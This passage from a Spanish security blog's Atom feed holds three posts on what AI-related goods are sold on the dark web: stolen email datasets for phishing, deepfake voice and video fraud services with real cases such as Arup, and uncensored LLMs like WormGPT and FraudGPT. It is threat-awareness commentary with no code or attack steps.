target=&quot;_blank&quot;&gt;Enron Email Dataset&lt;/a&gt;&lt;/strong&gt;, que durante años ha sido utilizada en entornos académicos, demuestran justo eso: miles de correos reales, con conversaciones completas, decisiones, tensiones, urgencias. Un mapa perfecto del lenguaje corporativo que se puede usar para entrenar modelos.&lt;/p&gt;&lt;p data-end=&quot;2378&quot; data-start=&quot;2099&quot;&gt;&lt;/p&gt;&lt;p data-end=&quot;3641&quot; data-start=&quot;3533&quot;&gt;Por ende, las &lt;b&gt;campañas de phishing &lt;/b&gt;que reutilizan correos reales no son nuevas. Lo que cambia es la escala y la precisión. Tras múltiples brechas corporativas, se han observado ataques donde se citan conversaciones reales, se replican firmas internas e incluso se utilizan referencias válidas&lt;/p&gt;&lt;p data-end=&quot;3641&quot; data-start=&quot;3533&quot;&gt;También, por supuesto, el modelo podrá inferir un&amp;nbsp;&lt;b&gt;mapping interno&lt;/b&gt;&amp;nbsp;de la organización objetivo. Por poner otro caso famoso, el hack de&amp;nbsp;&lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;Sony Pictures en 2014&lt;/span&gt;&amp;nbsp;no solo expuso información sensible, si no también la estructura de la organización. Quién habla con quién, quién toma decisiones, quién valida procesos. A partir de miles de correos o conversaciones, es posible reconstruir un organigrama funcional mucho más preciso que cualquier documento oficial. Y eso tiene un valor enorme: porque cuando sabes cómo fluye la información dentro de una empresa, no necesitas comprometer sistemas. Solo necesitas intervenir en el punto adecuado.&lt;/p&gt;
&lt;p data-end=&quot;4091&quot; data-start=&quot;3816&quot;&gt;Empresas de threat intel como &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;&lt;span class=&quot;whitespace-normal&quot;&gt;IBM X-Force&lt;/span&gt;&lt;/span&gt; o &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;&lt;span class=&quot;whitespace-normal&quot;&gt;Trend Micro&lt;/span&gt;&lt;/span&gt; llevan tiempo señalando esta evolución: el uso de datos filtrados no solo como vector de acceso, sino como material de entrenamiento para mejorar la ingeniería social.&lt;/p&gt;
&lt;p data-end=&quot;4222&quot; data-start=&quot;4093&quot;&gt;Y cuando combinas eso con lo que vimos en los artículos anteriores —LLMs sin censura y deepfakes— el resultado es bastante claro.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;El problema que no se puede parchear&lt;/h3&gt;
&lt;p data-end=&quot;1797&quot; data-start=&quot;1739&quot;&gt;El problema es que este tipo de información no se parchea.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;1994&quot; data-start=&quot;1799&quot;&gt;Cuando una empresa sufre una brecha, puede resetear credenciales, cerrar accesos o reforzar controles. Pero no puede revertir lo más importante: que su comunicación interna haya quedado expuesta.&lt;/p&gt;&lt;p data-end=&quot;2096&quot; data-start=&quot;1996&quot;&gt;Porque una vez que el lenguaje, el tono y el contexto han sido capturados… ya no se pueden deshacer.&lt;/p&gt;&lt;p data-end=&quot;4547&quot; data-start=&quot;4504&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;2255&quot; data-start=&quot;2098&quot;&gt;Y lo que antes era una simple filtración, ahora puede convertirse en algo mucho más persistente: un modelo que aprende cómo eres, cómo hablas y cómo decides.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/7023139182868863938/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-iii-datasets.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7023139182868863938'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7023139182868863938'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-iii-datasets.html' title='Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s72-c/ai_face02.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>5R8HHM6X+6F</georss:featurename><georss:point>-23.4394031 151.6986875</georss:point><georss:box>-51.749636936178845 116.5424375 4.8708307361788457 -173.1450625</georss:box></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-8097803697208524686</id><published>2026-04-22T23:43:00.007+02:00</published><updated>2026-04-22T23:56:57.459+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="dark web"/><category scheme="http://www.blogger.com/atom/ns#" term="deepfake"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><title type='text'>Lo que se vende de IA en la Dark Web (II) — Deepfake-as-a-Service</title><content type='html'>&lt;p&gt;&lt;i&gt;&amp;nbsp;“La voz sonaba igual. El tono, las pausas, incluso la forma de dudar. Pero no era él.”&lt;/i&gt;&lt;/p&gt;
&lt;p data-end=&quot;455&quot; data-start=&quot;351&quot;&gt;Durante años, la ingeniería social ha sido un juego de texto.&amp;nbsp;Emails, chats, llamadas mal guionizadas. Eso ya no es suficiente. Ahora, en ciertos foros y canales privados, lo que se ofrece no son plantillas ni scripts. Se vende identidad.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;De phishing a suplantación total&lt;/h3&gt;&lt;p data-end=&quot;805&quot; data-start=&quot;756&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7_iWpHCp1eWhSEfKpoT_oDZUOVpuJqe1rhhbirrirn9wm9W9eyK6og4dPZQ31HJedm2B13SclnyBcPZbv7XwjLrpx87xWW1sFxtfUBMK9vXfGxoMee3nNM-EChw-YUi9CMtHeHzKJBem1AWEtcvHU1w3u-imlRsh58sZ9LQaKLJX-GhIwAznr5uRbPOM/s2304/eye.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7_iWpHCp1eWhSEfKpoT_oDZUOVpuJqe1rhhbirrirn9wm9W9eyK6og4dPZQ31HJedm2B13SclnyBcPZbv7XwjLrpx87xWW1sFxtfUBMK9vXfGxoMee3nNM-EChw-YUi9CMtHeHzKJBem1AWEtcvHU1w3u-imlRsh58sZ9LQaKLJX-GhIwAznr5uRbPOM/s320/eye.jpg&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Hay otra capa que está creciendo más rápido. Una mucho más difícil de detectar.&amp;nbsp;&lt;strong data-end=&quot;874&quot; data-start=&quot;846&quot;&gt;La suplantación completa&amp;nbsp;&lt;/strong&gt;No solo escribir como alguien sino hablar como alguien, parecer alguien o incluso ser alguien… durante unos minutos. Lo suficiente.&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;805&quot; data-start=&quot;756&quot;&gt;Básicamente el modelo de negocio es el que vimos en el artículo anterior pero el producto cambia. Lo que se vende incluye:&lt;/p&gt;
&lt;ul data-end=&quot;1378&quot; data-start=&quot;1234&quot;&gt;
&lt;li data-end=&quot;1269&quot; data-section-id=&quot;1up0t3d&quot; data-start=&quot;1234&quot;&gt;
clonación de voz en tiempo real
&lt;/li&gt;
&lt;li data-end=&quot;1302&quot; data-section-id=&quot;13ngzv0&quot; data-start=&quot;1270&quot;&gt;
generación de vídeo deepfake
&lt;/li&gt;
&lt;li data-end=&quot;1347&quot; data-section-id=&quot;1nqsujr&quot; data-start=&quot;1303&quot;&gt;
herramientas para llamadas automatizadas
&lt;/li&gt;
&lt;li data-end=&quot;1378&quot; data-section-id=&quot;1hdr2am&quot; data-start=&quot;1348&quot;&gt;
kits completos para fraude
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1397&quot; data-start=&quot;1380&quot;&gt;Todo empaquetado. Todo listo para usar.&lt;/p&gt;&lt;p data-end=&quot;1494&quot; data-start=&quot;1454&quot;&gt;Eso sí, no suele estar en marketplaces visibles. Se mueve en canales privados, grupos cerrados y contactos directos. Y, como siempre, empieza en sitios como &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;Dread&lt;/span&gt;: “&lt;i&gt;Voice clone. 5 minutes sample needed. Undetectable. DM.&lt;/i&gt;”&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Caso real y recurrente: el CEO que nunca llamó&lt;/h3&gt;
&lt;p data-end=&quot;1913&quot; data-start=&quot;1860&quot;&gt;Lo típico es un empleado que recibe una llamada de su “CEO” con una voz perfecta, contexto correcto y una urgencia creíble. ¿Qué suele pedir? Pues podéis imaginároslo: transferir fondos, compartir acceso o ejecutar alguna otra acción crítica.&lt;/p&gt;
&lt;p data-end=&quot;2122&quot; data-start=&quot;2110&quot;&gt;Todo encaja. Excepto una cosa. Nunca hubo llamada real.&lt;/p&gt;&lt;p data-end=&quot;3133&quot; data-start=&quot;2864&quot;&gt;Uno de los primeros casos documentados fue el de una empresa energética en Reino Unido, donde un directivo recibió una llamada de su supuesto CEO. La voz era perfecta: mismo acento, mismo tono, misma forma de hablar. La orden era simple: transferir 220.000€. Y lo hizo.&lt;/p&gt;&lt;p data-end=&quot;3370&quot; data-start=&quot;3135&quot;&gt;En otro caso más reciente, atacantes clonaron la voz del ministro de defensa italiano para llamar a empresarios y pedir dinero bajo el pretexto de un rescate urgente. Al menos una víctima llegó a transferir cerca de un millón de euros.&lt;/p&gt;&lt;p data-end=&quot;3509&quot; data-start=&quot;3372&quot;&gt;Y en muchos otros incidentes, el patrón se repite: llamadas creíbles, contexto correcto, urgencia… y ninguna anomalía aparente en la voz.&lt;/p&gt;&lt;p data-end=&quot;2122&quot; data-start=&quot;2110&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;3743&quot; data-start=&quot;3511&quot;&gt;El crecimiento de este tipo de ataques ha sido exponencial. El vishing con deepfakes se ha disparado en más de un 1600%, y ya hay datos que indican que una de cada cuatro personas ha recibido llamadas con voces sintéticas.&lt;/p&gt;
&lt;p data-end=&quot;2250&quot; data-start=&quot;2216&quot;&gt;Como veis, quizás lo más preocupante a día de hoy todavía no es el vídeo. Es la voz porque requiere menos recursos, es más fácil de desplegar, más creíble para el engaño y funciona en tiempo real. Actualmente, con unos minutos de audio obtenido en cualquier sitio (RRSS normalmente) se puede generar una voz sintética convincente.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;2250&quot; data-start=&quot;2216&quot;&gt;Y ya no es necesario acudir a la dark web y solicitar este servicio de deepfake-as-a-service. Se ha &quot;democratizado&quot; tanto esta tecnología que cualquiera puede utilizar un servicio público como Elevenlabs o Resembre AI, o usar un proyecto opensource como Coqui TTS o similar.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgozsSRfcBEua8GbRBvEKbwjY59ouSI4C2ry1cRQTEp_I7uIf-lJiDwoecCANd_5aoqzidpXhyphenhyphen2PVmsZU17aPhN0WeLmLhHhMal68VQGhGAGaey-eeJdR-BaFeKiOao9c3pr6AxlOxkfQCxwbN8fY_f1nV7MTVtIOWNs1QP7pyAKUTDEwPZ899TzuYKQZvY/s1853/elevenlabs.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1046&quot; data-original-width=&quot;1853&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgozsSRfcBEua8GbRBvEKbwjY59ouSI4C2ry1cRQTEp_I7uIf-lJiDwoecCANd_5aoqzidpXhyphenhyphen2PVmsZU17aPhN0WeLmLhHhMal68VQGhGAGaey-eeJdR-BaFeKiOao9c3pr6AxlOxkfQCxwbN8fY_f1nV7MTVtIOWNs1QP7pyAKUTDEwPZ899TzuYKQZvY/s16000/elevenlabs.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Cuando la imagen entra en juego&lt;/h3&gt;&lt;p data-end=&quot;2913&quot; data-start=&quot;2829&quot;&gt;Pero si la voz es suficiente en muchos casos, el vídeo lleva el ataque a otro nivel.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;2913&quot; data-start=&quot;2829&quot;&gt;Uno de los ejemplos más claros es el caso de Arup en Hong Kong, donde un empleado participó en una videollamada con lo que parecían ser varios directivos de la compañía. Durante la reunión, se validaron una serie de operaciones y se solicitó la transferencia de fondos. Todo parecía normal. Hasta que dejó de serlo. Porque ninguno de los participantes era real.&lt;/p&gt;&lt;p data-end=&quot;3541&quot; data-start=&quot;3281&quot;&gt;Los atacantes habían generado deepfakes de vídeo y voz utilizado material previo de la empresa, recreando una reunión completa en la que cada identidad estaba controlada. El resultado fue una serie de transferencias por valor de más de 25 millones de dólares. No hubo intrusión. No hubo malware. Solo una videollamada convincente.&lt;/p&gt;&lt;p data-end=&quot;3541&quot; data-start=&quot;3281&quot;&gt;&lt;/p&gt;&lt;p data-end=&quot;231&quot; data-start=&quot;162&quot;&gt;Y después de ver casos como el de Hong Kong, la pregunta es inevitable: ¿Qué tecnología hay detrás de algo así? Y de nuevo, la respuesta rompe el mito. No hablamos de herramientas imposibles de conseguir. Hablamos de software que, en muchos casos, es público.&lt;/p&gt;
&lt;p data-end=&quot;561&quot; data-start=&quot;474&quot;&gt;Gran parte de estos ataques se apoyan en herramientas conocidas dentro de la comunidad: DeepFaceLab, FaceFusion, Wav2Lip, First Order Motion Model... Entonces ¿Hace falta ir a la dark web para montar algo así? Como veis, realmente no.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw2V_nuHflbVdub1eyyYx3JL594t5nYjt4T62Q6gATKhVf5BTRcgkeQal_toXqmO3AjO1wUBjGdRQE9XqPgzuHTTanfZif60jgYqaY9YTAIDCMZOJby1t8ebZq0BQfNMLdqh8wOiOPMOG1AC-FnSp_GiAyO21C0Ld9RX0Vp5tXdrX5IZwMMTN2qZUl8Yb_/s844/deepface.gif&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;434&quot; data-original-width=&quot;844&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw2V_nuHflbVdub1eyyYx3JL594t5nYjt4T62Q6gATKhVf5BTRcgkeQal_toXqmO3AjO1wUBjGdRQE9XqPgzuHTTanfZif60jgYqaY9YTAIDCMZOJby1t8ebZq0BQfNMLdqh8wOiOPMOG1AC-FnSp_GiAyO21C0Ld9RX0Vp5tXdrX5IZwMMTN2qZUl8Yb_/s16000/deepface.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;Entonces, ¿hay negocio o no en la Dark Web?&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;1769&quot; data-start=&quot;1315&quot;&gt;La mayoría de estos ataques no nacen en mercados clandestinos, sino en algo mucho más accesible: tecnología pública, datos abiertos y un poco de ingeniería social bien ejecutada. De hecho, uno de los primeros casos documentados —el de la empresa energética en Reino Unido— se llevó a cabo utilizando audio público del directivo y herramientas de generación de voz relativamente accesibles. No hubo compra en foros, ni kits sofisticados. Solo preparación.&lt;/p&gt;&lt;p data-end=&quot;1809&quot; data-start=&quot;1771&quot;&gt;¿Pero sin embargo se ha hecho o se sigue haciendo?&lt;/p&gt;&lt;p data-end=&quot;1814&quot; data-start=&quot;1811&quot;&gt;Sí. Y no es anecdótico. Porque aunque la tecnología sea accesible, ya existe un mercado donde todo viene preparado. En foros como &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;Dread&lt;/span&gt; no es difícil encontrar anuncios de clonación de voz bajo demanda: “3 minutos de audio, cualquier idioma, listo para llamada en tiempo real”. A partir de ahí, la conversación se mueve a Telegram, donde aparecen servicios más completos: generación de voz, guiones, soporte durante la llamada o incluso deepfakes de vídeo para procesos de verificación.&lt;/p&gt;
&lt;p data-end=&quot;3244&quot; data-start=&quot;2938&quot;&gt;En otros casos, directamente se venden identidades completas listas para bypass de KYC, combinando vídeo sintético, documentación falsa y contexto operativo. Y en entornos más cerrados, el salto es aún mayor: servicios de suplantación ejecutiva donde no compras una herramienta, compras el ataque completo.&lt;/p&gt;&lt;p data-end=&quot;3244&quot; data-start=&quot;2938&quot;&gt;Y no sólo en los mercados turbios y oscuros del underground: por ejemplo una startup llamada Super Brain cobra 3 dólares por un clon básico de IA de un ser querido fallecido.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;3244&quot; data-start=&quot;2938&quot;&gt;Esto está ocurriendo ahora mismo en China. Les envías fotos, vídeos o grabaciones de voz y ellos crean una versión que se ve, suena y habla exactamente como la persona que falleció. La gente lo usa para comunicarse con sus padres, abuelos e hijos fallecidos. El mercado del duelo es también una industria multimillonaria que en Oriente se toman en serio.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.blogger.com/video.g?token=AD6v5dx2ly-XX0Ds4GG_MRDBt4oVG5Cj_12orE0a-f1Vk5OfPAb2pldkyb-Nbwkf-mdWgr5ax-mrvgM_bOe_aGa-KA&#39; class=&#39;b-hbp-video b-uploaded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p data-end=&quot;3244&quot; data-start=&quot;2938&quot;&gt;¿Increíble verdad?&lt;/p&gt;&lt;p data-end=&quot;3244&quot; data-start=&quot;2938&quot;&gt;En el próximo artículo de la serie entraremos en otra pieza clave de este ecosistema: los &lt;strong data-end=&quot;1232&quot; data-start=&quot;1179&quot;&gt;datasets robados utilizados para entrenar modelos&lt;/strong&gt;, y cómo los datos filtrados se están convirtiendo en el combustible silencioso de toda esta nueva capa de IA ofensiva.&lt;/p&gt;
&lt;p data-end=&quot;3327&quot; data-start=&quot;3246&quot;&gt;&lt;/p&gt;
&lt;p data-end=&quot;3429&quot; data-start=&quot;3334&quot;&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/8097803697208524686/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-ii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8097803697208524686'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8097803697208524686'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-ii.html' title='Lo que se vende de IA en la Dark Web (II) — Deepfake-as-a-Service'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7_iWpHCp1eWhSEfKpoT_oDZUOVpuJqe1rhhbirrirn9wm9W9eyK6og4dPZQ31HJedm2B13SclnyBcPZbv7XwjLrpx87xWW1sFxtfUBMK9vXfGxoMee3nNM-EChw-YUi9CMtHeHzKJBem1AWEtcvHU1w3u-imlRsh58sZ9LQaKLJX-GhIwAznr5uRbPOM/s72-c/eye.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-385651450647219943</id><published>2026-04-21T23:29:00.002+02:00</published><updated>2026-04-21T23:31:11.322+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="dark web"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><category scheme="http://www.blogger.com/atom/ns#" term="LLM"/><title type='text'>Lo que se vende de IA en la Dark Web (I) — LLMs sin censura</title><content type='html'>&lt;p&gt;Durante años, la dark web ha sido un mercado de accesos, exploits y datos robados. Pero con la llegada de la IA también era inevitable que acabara en el mercado negro algunas de sus capacidades más &quot;letales&quot;.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;1087&quot; data-start=&quot;923&quot;&gt;Después de revisar distintos foros, canales privados y anuncios, el patrón es bastante claro. Hoy, lo que se está comercializando gira en torno a varias categorías:&lt;/p&gt;
&lt;ul data-end=&quot;1621&quot; data-start=&quot;1089&quot;&gt;
&lt;li data-end=&quot;1189&quot; data-section-id=&quot;11xt11&quot; data-start=&quot;1089&quot;&gt;
&lt;strong data-end=&quot;1111&quot; data-start=&quot;1091&quot;&gt;LLMs sin censura:&amp;nbsp;&lt;/strong&gt;Modelos tipo GPT modificados para eliminar cualquier tipo de restricción.
&lt;/li&gt;
&lt;li data-end=&quot;1293&quot; data-section-id=&quot;9yphfa&quot; data-start=&quot;1191&quot;&gt;
&lt;strong data-end=&quot;1218&quot; data-start=&quot;1193&quot;&gt;Deepfake-as-a-Service:&amp;nbsp;&lt;/strong&gt;Generación de voz y vídeo lista para fraude, suplantación o extorsión.
&lt;/li&gt;
&lt;li data-end=&quot;1391&quot; data-section-id=&quot;1m355wv&quot; data-start=&quot;1295&quot;&gt;
&lt;strong data-end=&quot;1334&quot; data-start=&quot;1297&quot;&gt;Kits de phishing con IA integrada:&amp;nbsp;&lt;/strong&gt;Campañas automatizadas, personalizadas y multidioma.
&lt;/li&gt;
&lt;li data-end=&quot;1501&quot; data-section-id=&quot;1gs18nw&quot; data-start=&quot;1393&quot;&gt;
&lt;strong data-end=&quot;1424&quot; data-start=&quot;1395&quot;&gt;Bots de ingeniería social:&amp;nbsp;&lt;/strong&gt;Conversaciones automatizadas que se adaptan a la víctima en tiempo real.
&lt;/li&gt;
&lt;li data-end=&quot;1621&quot; data-section-id=&quot;1rfel5n&quot; data-start=&quot;1503&quot;&gt;
&lt;strong data-end=&quot;1547&quot; data-start=&quot;1505&quot;&gt;Datasets robados para entrenar modelos:&amp;nbsp;&lt;/strong&gt;Correos, chats y datos reales usados para hacer ataques más creíbles.&lt;/li&gt;&lt;/ul&gt;Este es el primero de una serie de artículos donde iremos bajando a cada una de estas capas. Y empezamos por la más visible.&amp;nbsp;&lt;div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;h2 data-end=&quot;1985&quot; data-section-id=&quot;zf0v1r&quot; data-start=&quot;1941&quot;&gt;LLMs sin censura: el producto estrella&lt;/h2&gt;&lt;div&gt;&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaRezOt2veu460MxXJ801GOE4F04pqDPiYXR1OhIP70h-2SyR6Yl_1mW4ZtIbpeBTRBizIhVlR3AXlvJtZEyjDiK86KRaJdGzh3rU3sQvFa8pvuFl8bhfR1AEiAM_jLweIBw4WfqmAVwPfx11H1czaAWAbvXH8RB5E70Re1MIH-l-Y2jLA0-jREPmo9N/s1037/airobot_ok.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1037&quot; data-original-width=&quot;751&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaRezOt2veu460MxXJ801GOE4F04pqDPiYXR1OhIP70h-2SyR6Yl_1mW4ZtIbpeBTRBizIhVlR3AXlvJtZEyjDiK86KRaJdGzh3rU3sQvFa8pvuFl8bhfR1AEiAM_jLweIBw4WfqmAVwPfx11H1czaAWAbvXH8RB5E70Re1MIH-l-Y2jLA0-jREPmo9N/s320/airobot_ok.png&quot; width=&quot;232&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Durante meses, nombres como &lt;strong data-end=&quot;2056&quot; data-start=&quot;2015&quot;&gt;WormGPT&lt;/strong&gt; o &lt;strong data-end=&quot;2100&quot; data-start=&quot;2059&quot;&gt;FraudGPT&lt;/strong&gt; han ido apareciendo en conversaciones, informes y foros underground. A simple vista, parecen el equivalente criminal de ChatGPT pero la realidad es bastante más interesante: no son más inteligentes… son más &quot;obedientes&quot;.&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;Es decir, la mayoría de estos modelos no son desarrollos revolucionarios. De hecho, en muchos casos están basados en modelos open source, han sido ligeramente ajustados (fine-tuning) o simplemente envueltos en interfaces sin filtros.&lt;/p&gt;&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;La diferencia clave no está en la capacidad. Está en la ausencia de límites.&lt;/p&gt;&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;Mientras que herramientas comerciales evitan generar malware, phishing o contenido fraudulento, estos modelos hacen justo lo contrario: obedecen sin cuestionar, sin filtrar, sin contexto ético.&lt;/p&gt;&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;Veamos los casos reales más famosos:&lt;/p&gt;&lt;h3 data-end=&quot;2946&quot; data-section-id=&quot;1wxezue&quot; data-start=&quot;2903&quot;&gt;WormGPT: bajar la barrera de entrada&lt;/h3&gt;&lt;p data-end=&quot;3031&quot; data-start=&quot;2948&quot;&gt;Uno de los primeros en popularizarse fue &lt;strong data-end=&quot;3030&quot; data-start=&quot;2989&quot;&gt;WormGPT&lt;/strong&gt;. Se vendía como un generador de malware, asistente para phishing y una herramienta para campañas BEC. Nada que un experto no pudiera hacer antes. Pero aquí está el punto: ya no hacía falta ser experto.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixllB4U0l9IhNxnkkGtVBbxJNiSFyJDuV9bSaGXt8FEUxIXziGRE0gDync1Y8OzmwzBNZWEhAKcDi7qmNrc1mMK__XsxynWuV5FDpyQM6C70Wb6Zuf9tTmW8TDpIAR9EhOUfR9rWlxeqHkl719HCqxsspB0StWILleqtnWQYwBw_c2Ywa-cfeeunQlNz6V/s1220/wormgpt.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;686&quot; data-original-width=&quot;1220&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixllB4U0l9IhNxnkkGtVBbxJNiSFyJDuV9bSaGXt8FEUxIXziGRE0gDync1Y8OzmwzBNZWEhAKcDi7qmNrc1mMK__XsxynWuV5FDpyQM6C70Wb6Zuf9tTmW8TDpIAR9EhOUfR9rWlxeqHkl719HCqxsspB0StWILleqtnWQYwBw_c2Ywa-cfeeunQlNz6V/w640-h360/wormgpt.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 data-end=&quot;3460&quot; data-section-id=&quot;11e4ew6&quot; data-start=&quot;3420&quot;&gt;FraudGPT: el modelo como servicio&lt;/h3&gt;&lt;p data-end=&quot;3552&quot; data-start=&quot;3462&quot;&gt;Poco después apareció &lt;strong data-end=&quot;3525&quot; data-start=&quot;3484&quot;&gt;FraudGPT&lt;/strong&gt;, con un enfoque diferente. No era solo un modelo, era un producto. 